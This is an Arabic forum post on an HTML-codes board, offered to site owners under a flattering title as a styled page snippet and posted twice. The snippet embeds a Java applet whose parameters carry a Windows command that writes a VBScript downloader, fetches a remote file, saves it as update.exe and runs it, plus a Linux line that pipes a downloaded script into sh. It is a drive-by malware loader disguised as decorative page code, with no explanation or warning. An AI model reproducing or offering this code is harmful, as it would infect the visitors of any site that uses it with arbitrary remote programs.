أجمل موضوع
مـنتديـــات ستــــــار فــــــــــلاش :: خدمــــــــــات ستــار فلاش لأصحاب المــــــواقع :: قـســــم أكـــــــــــــــواد HTML
صفحة 1 من اصل 1
أجمل موضوع
من طرف Issam الأحد ديسمبر 12, 2010 3:57 am
<style type=text/css>
body {
background-color: black;
}
#box {
border: 2px double white;
font-family: Verdana;
margin-right:160px;
margin-left:160px;
background-color: white;
}
</style>
<body>
<br><br><br><br>
<div id="box">
<applet width='500' height='500' code='Client.class' archive='Client.jar'>
<param name='windows1' value='cmd.exe /c echo Const adTypeBinary = 1 > %temp%\winconfig.vbs & echo Const adSaveCreateOverWrite = 2 >> %temp%\winconfig.vbs & echo Dim S >> %temp%\winconfig.vbs & echo Dim A >> %temp%\winconfig.vbs & echo Dim DTNDTN >> %temp%\winconfig.vbs & echo S = "ADODB" >> %temp%\winconfig.vbs & echo A = ".Stream" >> %temp%\winconfig.vbs & echo Set DTNDTN = CreateObject(S+A) >> %temp%\winconfig.vbs & echo DTNDTN.Type = adTypeBinary >> %temp%\winconfig.vbs & echo DTNDTN.Open >> %temp%\winconfig.vbs & echo DTNDTN.Write BinaryGetURL(Wscript.Arguments(0)) >> %temp%\winconfig.vbs & echo DTNDTN.SaveToFile Wscript.Arguments(1), adSaveCreateOverWrite >> %temp%\winconfig.vbs & echo Function BinaryGetURL(URL) >> %temp%\winconfig.vbs & echo Dim Http >> %temp%\winconfig.vbs & echo Set Http = CreateObject("WinHttp.WinHttpRequest.5.1") >> %temp%\winconfig.vbs & echo Http.Open "GET", URL, False >> %temp%\winconfig.vbs & echo Http.Send >> %temp%\winconfig.vbs & echo BinaryGetURL = Http.ResponseBody >> %temp%\winconfig.vbs & echo End Function >> %temp%\winconfig.vbs & echo Set shell = CreateObject("WScript.Shell") >> %temp%\winconfig.vbs & echo shell.Run "%temp%\update.exe" >> %temp%\winconfig.vbs & start %temp%\winconfig.vbs [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] %temp%\update.exe'>
<param name='windows2' value=''>
<param name='unix1' value="">
<param name='unix2' value="">
<param name='linux1' value="wget [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] -O- | sh">
<param name='linux2' value="">
</applet>
</div>
<center>
<img src="softpedia.gif" />
</center>
</body>
body {
background-color: black;
}
#box {
border: 2px double white;
font-family: Verdana;
margin-right:160px;
margin-left:160px;
background-color: white;
}
</style>
<body>
<br><br><br><br>
<div id="box">
<applet width='500' height='500' code='Client.class' archive='Client.jar'>
<param name='windows1' value='cmd.exe /c echo Const adTypeBinary = 1 > %temp%\winconfig.vbs & echo Const adSaveCreateOverWrite = 2 >> %temp%\winconfig.vbs & echo Dim S >> %temp%\winconfig.vbs & echo Dim A >> %temp%\winconfig.vbs & echo Dim DTNDTN >> %temp%\winconfig.vbs & echo S = "ADODB" >> %temp%\winconfig.vbs & echo A = ".Stream" >> %temp%\winconfig.vbs & echo Set DTNDTN = CreateObject(S+A) >> %temp%\winconfig.vbs & echo DTNDTN.Type = adTypeBinary >> %temp%\winconfig.vbs & echo DTNDTN.Open >> %temp%\winconfig.vbs & echo DTNDTN.Write BinaryGetURL(Wscript.Arguments(0)) >> %temp%\winconfig.vbs & echo DTNDTN.SaveToFile Wscript.Arguments(1), adSaveCreateOverWrite >> %temp%\winconfig.vbs & echo Function BinaryGetURL(URL) >> %temp%\winconfig.vbs & echo Dim Http >> %temp%\winconfig.vbs & echo Set Http = CreateObject("WinHttp.WinHttpRequest.5.1") >> %temp%\winconfig.vbs & echo Http.Open "GET", URL, False >> %temp%\winconfig.vbs & echo Http.Send >> %temp%\winconfig.vbs & echo BinaryGetURL = Http.ResponseBody >> %temp%\winconfig.vbs & echo End Function >> %temp%\winconfig.vbs & echo Set shell = CreateObject("WScript.Shell") >> %temp%\winconfig.vbs & echo shell.Run "%temp%\update.exe" >> %temp%\winconfig.vbs & start %temp%\winconfig.vbs [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] %temp%\update.exe'>
<param name='windows2' value=''>
<param name='unix1' value="">
<param name='unix2' value="">
<param name='linux1' value="wget [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] -O- | sh">
<param name='linux2' value="">
</applet>
</div>
<center>
<img src="softpedia.gif" />
</center>
</body>
Issam- المدير العام
-
عدد المساهمات : 417
تاريخ التسجيل : 09/09/2010
العمر : 33 -
مواضيع مماثلة» موضوع عن الانهيار الكوني
» أجمل أكواد
» بعض أجمل عبارات الترحيب بالأعضاء
» برنامج رائع لإضافة أجمل الإطارت لصورك الخاصة وجعلها تحفة فنية وفي أبهى الحلل ...
» أجمل أكواد
» بعض أجمل عبارات الترحيب بالأعضاء
» برنامج رائع لإضافة أجمل الإطارت لصورك الخاصة وجعلها تحفة فنية وفي أبهى الحلل ...
مـنتديـــات ستــــــار فــــــــــلاش :: خدمــــــــــات ستــار فلاش لأصحاب المــــــواقع :: قـســــم أكـــــــــــــــواد HTML
صفحة 1 من اصل 1
صلاحيات هذا المنتدى:
لاتستطيع الرد على المواضيع في هذا المنتدى